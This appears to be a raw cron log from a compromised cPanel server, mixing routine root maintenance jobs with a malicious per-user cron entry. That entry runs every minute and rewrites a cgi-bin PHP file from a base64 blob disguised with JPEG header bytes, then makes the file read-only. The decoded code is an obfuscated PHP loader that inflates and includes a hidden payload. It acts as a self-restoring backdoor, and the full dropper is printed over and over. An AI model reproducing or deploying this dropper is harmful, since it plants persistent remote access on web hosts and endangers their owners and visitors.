Sep  4 19:50:01 server CROND[6364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:51:01 server CROND[7253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:51:01 server CROND[7255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:51:01 server CROND[7254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:52:01 server CROND[7635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:52:01 server CROND[7636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:52:01 server CROND[7634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:53:01 server CROND[8173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:53:01 server CROND[8175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:53:01 server CROND[8174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:54:01 server CROND[8558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:54:01 server CROND[8559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:54:01 server CROND[8560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:55:01 server CROND[8950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:55:01 server CROND[8952]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:55:01 server CROND[8954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:55:01 server CROND[8956]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:55:01 server CROND[8957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:55:01 server CROND[8960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:55:01 server CROND[8955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:56:01 server CROND[9782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:56:01 server CROND[9781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:56:01 server CROND[9780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:57:01 server CROND[10175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:57:01 server CROND[10176]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 19:57:01 server CROND[10178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:57:01 server CROND[10177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:58:01 server CROND[10657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:58:01 server CROND[10658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:58:01 server CROND[10659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:59:01 server CROND[11051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:59:01 server CROND[11052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:59:01 server CROND[11053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:00:01 server CROND[11508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:00:01 server CROND[11510]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 20:00:01 server CROND[11512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:00:01 server CROND[11515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:00:01 server CROND[11518]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:00:01 server CROND[11519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:00:01 server CROND[11520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:00:01 server CROND[11513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:00:01 server CROND[11514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:00:01 server CROND[11516]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 20:01:01 server CROND[12400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:01:01 server CROND[12401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:01:01 server CROND[12403]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 20:01:01 server CROND[12409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:01:01 server run-parts(/etc/cron.hourly)[12403]: starting 0anacron
Sep  4 20:01:01 server run-parts(/etc/cron.hourly)[12422]: finished 0anacron
Sep  4 20:02:01 server CROND[12800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:02:01 server CROND[12801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:02:01 server CROND[12802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
